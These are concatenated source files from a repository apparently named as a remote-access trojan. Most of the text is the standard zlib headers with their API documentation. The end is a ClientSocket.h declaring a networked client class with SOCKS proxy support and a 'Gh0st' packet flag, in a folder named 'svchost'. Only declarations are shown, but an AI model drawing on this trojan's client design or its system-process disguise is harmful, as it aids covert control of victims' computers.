Z_STREAM_END, then it must be called again as described above.
deflate() sets strm->adler to the adler32 checksum of all input read
so far (that is, total_in bytes).
deflate() may update data_type if it can make a good guess about
the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
binary. This field is only for information purposes and does not affect
the compression algorithm in any manner.
deflate() returns Z_OK if some progress has been made (more input
processed or more output produced), Z_STREAM_END if all input has been
consumed and all output has been produced (only when flush is set to
Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
(for example avail_in or avail_out was zero).
*/
ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
stream state was inconsistent, Z_DATA_ERROR if the stream was freed
prematurely (some input or output was discarded). In the error case,
msg may be set but then points to a static string (which must not be
deallocated).
*/
/*
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
Initializes the internal stream state for decompression. The fields
next_in, avail_in, zalloc, zfree and opaque must be initialized before by
the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
value depends on the compression method), inflateInit determines the
compression method from the zlib header and allocates all data structures
accordingly; otherwise the allocation will be deferred to the first call of
inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
use default allocation functions.
inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
version assumed by the caller. msg is set to null if there is no error
message. inflateInit does not perform any decompression apart from reading
the zlib header if present: this will be done by inflate(). (So next_in and
avail_in may be modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
/*
inflate decompresses as much data as possible, and stops when the input
buffer becomes empty or the output buffer becomes full. It may some
introduce some output latency (reading input without producing any output)
except when forced to flush.
The detailed semantics are as follows. inflate performs one or both of the
following actions:
- Decompress more input starting at next_in and update next_in and avail_in
accordingly. If not all input can be processed (because there is not
enough room in the output buffer), next_in is updated and processing
will resume at this point for the next call of inflate().
- Provide more output starting at next_out and update next_out and avail_out
accordingly. inflate() provides as much output as possible, until there
is no more input data or no more space in the output buffer (see below
about the flush parameter).
Before the call of inflate(), the application should ensure that at least
one of the actions is possible, by providing more input and/or consuming
more output, and updating the next_* and avail_* values accordingly.
The application can consume the uncompressed output when it wants, for
example when the output buffer is full (avail_out == 0), or after each
call of inflate(). If inflate returns Z_OK and with zero avail_out, it
must be called again after making room in the output buffer because there
might be more output pending.
If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
output as possible to the output buffer. The flushing behavior of inflate is
not specified for values of the flush parameter other than Z_SYNC_FLUSH
and Z_FINISH, but the current implementation actually flushes as much output
as possible anyway.
inflate() should normally be called until it returns Z_STREAM_END or an
error. However if all decompression is to be performed in a single step
(a single call of inflate), the parameter flush should be set to
Z_FINISH. In this case all pending input is processed and all pending
output is flushed; avail_out must be large enough to hold all the
uncompressed data. (The size of the uncompressed data may have been saved
by the compressor for this purpose.) The next operation on this stream must
be inflateEnd to deallocate the decompression state. The use of Z_FINISH
is never required, but can be used to inform inflate that a faster routine
may be used for the single inflate() call.
If a preset dictionary is needed at this point (see inflateSetDictionary
below), inflate sets strm-adler to the adler32 checksum of the
dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
it sets strm->adler to the adler32 checksum of all output produced
so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
an error code as described below. At the end of the stream, inflate()
checks that its computed adler32 checksum is equal to that saved by the
compressor and returns Z_STREAM_END only if the checksum is correct.
inflate() returns Z_OK if some progress has been made (more input processed
or more output produced), Z_STREAM_END if the end of the compressed data has
been reached and all uncompressed output has been produced, Z_NEED_DICT if a
preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
corrupted (input stream not conforming to the zlib format or incorrect
adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
(for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if no progress is possible or if there was not
enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
case, the application may then call inflateSync to look for a good
compression block.
*/
ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
/*
All dynamically allocated data structures for this stream are freed.
This function discards any unprocessed input and does not flush any
pending output.
inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
was inconsistent. In the error case, msg may be set but then points to a
static string (which must not be deallocated).
*/
/* Advanced functions */
/*
The following functions are needed only in some special applications.
*/
/*
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
int level,
int method,
int windowBits,
int memLevel,
int strategy));
This is another version of deflateInit with more compression options. The
fields next_in, zalloc, zfree and opaque must be initialized before by
the caller.
The method parameter is the compression method. It must be Z_DEFLATED in
this version of the library.
The windowBits parameter is the base two logarithm of the window size
(the size of the history buffer). It should be in the range 8..15 for this
version of the library. Larger values of this parameter result in better
compression at the expense of memory usage. The default value is 15 if
deflateInit is used instead.
The memLevel parameter specifies how much memory should be allocated
for the internal compression state. memLevel=1 uses minimum memory but
is slow and reduces compression ratio; memLevel=9 uses maximum memory
for optimal speed. The default value is 8. See zconf.h for total memory
usage as a function of windowBits and memLevel.
The strategy parameter is used to tune the compression algorithm. Use the
value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
string match). Filtered data consists mostly of small values with a
somewhat random distribution. In this case, the compression algorithm is
tuned to compress them better. The effect of Z_FILTERED is to force more
Huffman coding and less string matching; it is somewhat intermediate
between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
the compression ratio but not the correctness of the compressed output even
if it is not set appropriately.
deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
method). msg is set to null if there is no error message. deflateInit2 does
not perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the compression dictionary from the given byte sequence
without producing any compressed output. This function must be called
immediately after deflateInit, deflateInit2 or deflateReset, before any
call of deflate. The compressor and decompressor must use exactly the same
dictionary (see inflateSetDictionary).
The dictionary should consist of strings (byte sequences) that are likely
to be encountered later in the data to be compressed, with the most commonly
used strings preferably put towards the end of the dictionary. Using a
dictionary is most useful when the data to be compressed is short and can be
predicted with good accuracy; the data can then be compressed better than
with the default empty dictionary.
Depending on the size of the compression data structures selected by
deflateInit or deflateInit2, a part of the dictionary may in effect be
discarded, for example if the dictionary is larger than the window size in
deflate or deflate2. Thus the strings most likely to be useful should be
put at the end of the dictionary, not at the front.
Upon return of this function, strm->adler is set to the Adler32 value
of the dictionary; the decompressor may later use this value to determine
which dictionary has been used by the compressor. (The Adler32 value
applies to the whole dictionary even if only a subset of the dictionary is
actually used by the compressor.)
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent (for example if deflate has already been called for this stream
or if the compression method is bsort). deflateSetDictionary does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
z_streamp source));
/*
Sets the destination stream as a complete copy of the source stream.
This function can be useful when several compression strategies will be
tried, for example when there are several ways of pre-processing the input
data with a filter. The streams that will be discarded should then be freed
by calling deflateEnd. Note that deflateCopy duplicates the internal
compression state which can be quite large, so this strategy is slow and
can consume lots of memory.
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
(such as zalloc being NULL). msg is left unchanged in both source and
destination.
*/
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
/*
This function is equivalent to deflateEnd followed by deflateInit,
but does not free and reallocate all the internal compression state.
The stream will keep the same compression level and any other attributes
that may have been set by deflateInit2.
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
int level,
int strategy));
/*
Dynamically update the compression level and compression strategy. The
interpretation of level and strategy is as in deflateInit2. This can be
used to switch between compression and straight copy of the input data, or
to switch to a different kind of input data requiring a different
strategy. If the compression level is changed, the input available so far
is compressed with the old level (and may be flushed); the new level will
take effect only at the next call of deflate().
Before the call of deflateParams, the stream state must be set as for
a call of deflate(), since the currently available input may have to
be compressed and flushed. In particular, strm->avail_out must be non-zero.
deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
if strm->avail_out was zero.
*/
/*
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
int windowBits));
This is another version of inflateInit with an extra parameter. The
fields next_in, avail_in, zalloc, zfree and opaque must be initialized
before by the caller.
The windowBits parameter is the base two logarithm of the maximum window
size (the size of the history buffer). It should be in the range 8..15 for
this version of the library. The default value is 15 if inflateInit is used
instead. If a compressed stream with a larger window size is given as
input, inflate() will return with the error code Z_DATA_ERROR instead of
trying to allocate a larger window.
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
memLevel). msg is set to null if there is no error message. inflateInit2
does not perform any decompression apart from reading the zlib header if
present: this will be done by inflate(). (So next_in and avail_in may be
modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the decompression dictionary from the given uncompressed byte
sequence. This function must be called immediately after a call of inflate
if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
can be determined from the Adler32 value returned by this call of
inflate. The compressor and decompressor must use exactly the same
dictionary (see deflateSetDictionary).
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
expected one (incorrect Adler32 value). inflateSetDictionary does not
perform any decompression: this will be done by subsequent calls of
inflate().
*/
ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
/*
Skips invalid compressed data until a full flush point (see above the
description of deflate with Z_FULL_FLUSH) can be found, or until all
available input is skipped. No output is provided.
inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
if no more input was provided, Z_DATA_ERROR if no flush point has been found,
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
case, the application may save the current current value of total_in which
indicates where valid compressed data was found. In the error case, the
application may repeatedly call inflateSync, providing more input each time,
until success or end of the input data.
*/
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
/*
This function is equivalent to inflateEnd followed by inflateInit,
but does not free and reallocate all the internal decompression state.
The stream will keep attributes that may have been set by inflateInit2.
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
/* utility functions */
/*
The following utility functions are implemented on top of the
basic stream-oriented functions. To simplify the interface, some
default options are assumed (compression level and memory usage,
standard memory allocation functions). The source code of these
utility functions can easily be modified if you need special options.
*/
ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Compresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be at least 0.1% larger than
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
compressed buffer.
This function can be used to compress a whole file at once if the
input file is mmap'ed.
compress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer.
*/
ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen,
int level));
/*
Compresses the source buffer into the destination buffer. The level
parameter has the same meaning as in deflateInit. sourceLen is the byte
length of the source buffer. Upon entry, destLen is the total size of the
destination buffer, which must be at least 0.1% larger than sourceLen plus
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
Z_STREAM_ERROR if the level parameter is invalid.
*/
ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Decompresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be large enough to hold the
entire uncompressed data. (The size of the uncompressed data must have
been saved previously by the compressor and transmitted to the decompressor
by some mechanism outside the scope of this compression library.)
Upon exit, destLen is the actual size of the compressed buffer.
This function can be used to decompress a whole file at once if the
input file is mmap'ed.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
typedef voidp gzFile;
ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
/*
Opens a gzip (.gz) file for reading or writing. The mode parameter
is as in fopen ("rb" or "wb") but can also include a compression level
("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
Huffman only compression as in "wb1h". (See the description
of deflateInit2 for more information about the strategy parameter.)
gzopen can be used to read a file which is not in gzip format; in this
case gzread will directly read from the file without decompression.
gzopen returns NULL if the file could not be opened or if there was
insufficient memory to allocate the (de)compression state; errno
can be checked to distinguish the two cases (if errno is zero, the
zlib error is Z_MEM_ERROR). */
ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
/*
gzdopen() associates a gzFile with the file descriptor fd. File
descriptors are obtained from calls like open, dup, creat, pipe or
fileno (in the file has been previously opened with fopen).
The mode parameter is as in gzopen.
The next call of gzclose on the returned gzFile will also close the
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
gzdopen returns NULL if there was insufficient memory to allocate
the (de)compression state.
*/
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
/*
Dynamically update the compression level or strategy. See the description
of deflateInit2 for the meaning of these parameters.
gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
opened for writing.
*/
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
/*
Reads the given number of uncompressed bytes from the compressed file.
If the input file was not in gzip format, gzread copies the given number
of bytes into the buffer.
gzread returns the number of uncompressed bytes actually read (0 for
end of file, -1 for error). */
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
const voidp buf, unsigned len));
/*
Writes the given number of uncompressed bytes into the compressed file.
gzwrite returns the number of uncompressed bytes actually written
(0 in case of error).
*/
ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
/*
Converts, formats, and writes the args to the compressed file under
control of the format string, as in fprintf. gzprintf returns the number of
uncompressed bytes actually written (0 in case of error).
*/
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
/*
Writes the given null-terminated string to the compressed file, excluding
the terminating null character.
gzputs returns the number of characters written, or -1 in case of error.
*/
ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
/*
Reads bytes from the compressed file until len-1 characters are read, or
a newline character is read and transferred to buf, or an end-of-file
condition is encountered. The string is then terminated with a null
character.
gzgets returns buf, or Z_NULL in case of error.
*/
ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
/*
Writes c, converted to an unsigned char, into the compressed file.
gzputc returns the value that was written, or -1 in case of error.
*/
ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
/*
Reads one byte from the compressed file. gzgetc returns this byte
or -1 in case of end of file or error.
*/
ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
/*
Flushes all pending output into the compressed file. The parameter
flush is as in the deflate() function. The return value is the zlib
error number (see function gzerror below). gzflush returns Z_OK if
the flush parameter is Z_FINISH and all output could be flushed.
gzflush should be called only when strictly necessary because it can
degrade compression.
*/
ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
z_off_t offset, int whence));
/*
Sets the starting position for the next gzread or gzwrite on the
given compressed file. The offset represents a number of bytes in the
uncompressed data stream. The whence parameter is defined as in lseek(2);
the value SEEK_END is not supported.
If the file is opened for reading, this function is emulated but can be
extremely slow. If the file is opened for writing, only forward seeks are
supported; gzseek then compresses a sequence of zeroes up to the new
starting position.
gzseek returns the resulting offset location as measured in bytes from
the beginning of the uncompressed stream, or -1 in case of error, in
particular if the file is opened for writing and the new starting position
would be before the current position.
*/
ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
/*
Rewinds the given file. This function is supported only for reading.
gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
*/
ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
/*
Returns the starting position for the next gzread or gzwrite on the
given compressed file. This position represents a number of bytes in the
uncompressed data stream.
gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
*/
ZEXTERN int ZEXPORT gzeof OF((gzFile file));
/*
Returns 1 when EOF has previously been detected reading the given
input stream, otherwise zero.
*/
ZEXTERN int ZEXPORT gzclose OF((gzFile file));
/*
Flushes all pending output if necessary, closes the compressed file
and deallocates all the (de)compression state. The return value is the zlib
error number (see function gzerror below).
*/
ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
/*
Returns the error message for the last error which occurred on the
given compressed file. errnum is set to zlib error number. If an
error occurred in the file system and not in the compression library,
errnum is set to Z_ERRNO and the application may consult errno
to get the exact error code.
*/
/* checksum functions */
/*
These functions are not related to compression but are exported
anyway because they might be useful in applications using the
compression library.
*/
ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
/*
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
return the updated checksum. If buf is NULL, this function returns
the required initial value for the checksum.
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
much faster. Usage example:
uLong adler = adler32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
adler = adler32(adler, buffer, length);
}
if (adler != original_adler) error();
*/
ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
/*
Update a running crc with the bytes buf[0..len-1] and return the updated
crc. If buf is NULL, this function returns the required initial value
for the crc. Pre- and post-conditioning (one's complement) is performed
within this function so it shouldn't be done by the application.
Usage example:
uLong crc = crc32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
crc = crc32(crc, buffer, length);
}
if (crc != original_crc) error();
*/
/* various hacks, don't look :) */
/* deflateInit and inflateInit are macros to allow checking the zlib version
* and the compiler's view of z_stream:
*/
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
const char *version, int stream_size));
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
const char *version, int stream_size));
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
int windowBits, int memLevel,
int strategy, const char *version,
int stream_size));
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
const char *version, int stream_size));
#define deflateInit(strm, level) \
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit(strm) \
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
(strategy), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit2(strm, windowBits) \
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
struct internal_state {int dummy;}; /* hack for buggy compilers */
#endif
ZEXTERN const char * ZEXPORT zError OF((int err));
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
#ifdef __cplusplus
}
#endif
#endif /* _ZLIB_H */
| 07321-rat | trunk/Server/svchost/zlib/zlib.h | C++ | asf20 | 40,900 |
/* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2002 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#ifndef _ZCONF_H
#define _ZCONF_H
/*
* If you *really* need a unique prefix for all types and library functions,
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
*/
#ifdef Z_PREFIX
# define deflateInit_ z_deflateInit_
# define deflate z_deflate
# define deflateEnd z_deflateEnd
# define inflateInit_ z_inflateInit_
# define inflate z_inflate
# define inflateEnd z_inflateEnd
# define deflateInit2_ z_deflateInit2_
# define deflateSetDictionary z_deflateSetDictionary
# define deflateCopy z_deflateCopy
# define deflateReset z_deflateReset
# define deflateParams z_deflateParams
# define inflateInit2_ z_inflateInit2_
# define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint
# define inflateReset z_inflateReset
# define compress z_compress
# define compress2 z_compress2
# define uncompress z_uncompress
# define adler32 z_adler32
# define crc32 z_crc32
# define get_crc_table z_get_crc_table
# define Byte z_Byte
# define uInt z_uInt
# define uLong z_uLong
# define Bytef z_Bytef
# define charf z_charf
# define intf z_intf
# define uIntf z_uIntf
# define uLongf z_uLongf
# define voidpf z_voidpf
# define voidp z_voidp
#endif
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
# define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
# ifndef __32BIT__
# define __32BIT__
# endif
#endif
#if defined(__MSDOS__) && !defined(MSDOS)
# define MSDOS
#endif
/*
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
* than 64k bytes at a time (needed on systems with 16-bit int).
*/
#if defined(MSDOS) && !defined(__32BIT__)
# define MAXSEG_64K
#endif
#ifdef MSDOS
# define UNALIGNED_OK
#endif
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
# define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
# ifndef STDC
# define STDC
# endif
#endif
#ifndef STDC
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
# define const
# endif
#endif
/* Some Mac compilers merge all .h files incorrectly: */
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
# define NO_DUMMY_DECL
#endif
/* Old Borland C incorrectly complains about missing returns: */
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
# define NEED_DUMMY_RETURN
#endif
/* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL
# ifdef MAXSEG_64K
# define MAX_MEM_LEVEL 8
# else
# define MAX_MEM_LEVEL 9
# endif
#endif
/* Maximum value for windowBits in deflateInit2 and inflateInit2.
* WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
* created by gzip. (Files created by minigzip can still be extracted by
* gzip.)
*/
#ifndef MAX_WBITS
# define MAX_WBITS 15 /* 32K LZ77 window */
#endif
/* The memory requirements for deflate are (in bytes):
(1 << (windowBits+2)) + (1 << (memLevel+9))
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
plus a few kilobytes for small objects. For example, if you want to reduce
the default memory requirements from 256K to 128K, compile with
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
Of course this will generally degrade compression (there's no free lunch).
The memory requirements for inflate are (in bytes) 1 << windowBits
that is, 32K for windowBits=15 (default value) plus a few kilobytes
for small objects.
*/
/* Type declarations */
#ifndef OF /* function prototypes */
# ifdef STDC
# define OF(args) args
# else
# define OF(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
* just define FAR to be empty.
*/
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
/* MSC small or medium model */
# define SMALL_MEDIUM
# ifdef _MSC_VER
# define FAR _far
# else
# define FAR far
# endif
#endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
# ifndef __32BIT__
# define SMALL_MEDIUM
# define FAR _far
# endif
#endif
/* Compile with -DZLIB_DLL for Windows DLL support */
#if defined(ZLIB_DLL)
# if defined(_WINDOWS) || defined(WINDOWS)
# ifdef FAR
# undef FAR
# endif
# include <windows.h>
# define ZEXPORT WINAPI
# ifdef WIN32
# define ZEXPORTVA WINAPIV
# else
# define ZEXPORTVA FAR _cdecl _export
# endif
# endif
# if defined (__BORLANDC__)
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
# include <windows.h>
# define ZEXPORT __declspec(dllexport) WINAPI
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
# else
# if defined (_Windows) && defined (__DLL__)
# define ZEXPORT _export
# define ZEXPORTVA _export
# endif
# endif
# endif
#endif
#if defined (__BEOS__)
# if defined (ZLIB_DLL)
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# endif
#endif
#ifndef ZEXPORT
# define ZEXPORT
#endif
#ifndef ZEXPORTVA
# define ZEXPORTVA
#endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef FAR
# define FAR
#endif
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
typedef unsigned char Byte; /* 8 bits */
#endif
typedef unsigned int uInt; /* 16 bits or more */
typedef unsigned long uLong; /* 32 bits or more */
#ifdef SMALL_MEDIUM
/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
# define Bytef Byte FAR
#else
typedef Byte FAR Bytef;
#endif
typedef char FAR charf;
typedef int FAR intf;
typedef uInt FAR uIntf;
typedef uLong FAR uLongf;
#ifdef STDC
typedef void FAR *voidpf;
typedef void *voidp;
#else
typedef Byte FAR *voidpf;
typedef Byte *voidp;
#endif
#ifdef HAVE_UNISTD_H
# include <sys/types.h> /* for off_t */
# include <unistd.h> /* for SEEK_* and off_t */
# define z_off_t off_t
#endif
#ifndef SEEK_SET
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
#endif
#ifndef z_off_t
# define z_off_t long
#endif
/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
# pragma map(deflateInit_,"DEIN")
# pragma map(deflateInit2_,"DEIN2")
# pragma map(deflateEnd,"DEEND")
# pragma map(inflateInit_,"ININ")
# pragma map(inflateInit2_,"ININ2")
# pragma map(inflateEnd,"INEND")
# pragma map(inflateSync,"INSY")
# pragma map(inflateSetDictionary,"INSEDI")
# pragma map(inflate_blocks,"INBL")
# pragma map(inflate_blocks_new,"INBLNE")
# pragma map(inflate_blocks_free,"INBLFR")
# pragma map(inflate_blocks_reset,"INBLRE")
# pragma map(inflate_codes_free,"INCOFR")
# pragma map(inflate_codes,"INCO")
# pragma map(inflate_fast,"INFA")
# pragma map(inflate_flush,"INFLU")
# pragma map(inflate_mask,"INMA")
# pragma map(inflate_set_dictionary,"INSEDI2")
# pragma map(inflate_copyright,"INCOPY")
# pragma map(inflate_trees_bits,"INTRBI")
# pragma map(inflate_trees_dynamic,"INTRDY")
# pragma map(inflate_trees_fixed,"INTRFI")
# pragma map(inflate_trees_free,"INTRFR")
#endif
#endif /* _ZCONF_H */
| 07321-rat | trunk/Server/svchost/zlib/zconf.h | C | asf20 | 7,810 |
// ClientSocket.h: interface for the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
#define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_
#include <winsock2.h>
#include "common/Buffer.h" // Added by ClassView
#include "common/Manager.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Change at your Own Peril
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
#define HDR_SIZE 13
#define FLAG_SIZE 5
enum
{
PROXY_NONE,
PROXY_SOCKS_VER4 = 4,
PROXY_SOCKS_VER5
};
struct socks5req1
{
char Ver;
char nMethods;
char Methods[2];
};
struct socks5ans1
{
char Ver;
char Method;
};
struct socks5req2
{
char Ver;
char Cmd;
char Rsv;
char Atyp;
unsigned long IPAddr;
unsigned short Port;
// char other[1];
};
struct socks5ans2
{
char Ver;
char Rep;
char Rsv;
char Atyp;
char other[1];
};
struct authreq
{
char Ver;
char Ulen;
char NamePass[256];
};
struct authans
{
char Ver;
char Status;
};
class CClientSocket
{
friend class CManager;
public:
CBuffer m_CompressionBuffer;
CBuffer m_DeCompressionBuffer;
CBuffer m_WriteBuffer;
CBuffer m_ResendWriteBuffer;
void Disconnect();
bool Connect(LPCTSTR lpszHost, UINT nPort);
int Send(LPBYTE lpData, UINT nSize);
void OnRead(LPBYTE lpBuffer, DWORD dwIoSize);
void setManagerCallBack(CManager *pManager);
void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
void run_event_loop();
bool IsRunning();
HANDLE m_hWorkerThread;
SOCKET m_Socket;
HANDLE m_hEvent;
CClientSocket();
virtual ~CClientSocket();
private:
static int m_nProxyType;
static char m_strProxyHost[256];
static UINT m_nProxyPort;
static char m_strUserName[256];
static char m_strPassWord[256];
BYTE m_bPacketFlag[FLAG_SIZE];
static DWORD WINAPI WorkThread(LPVOID lparam);
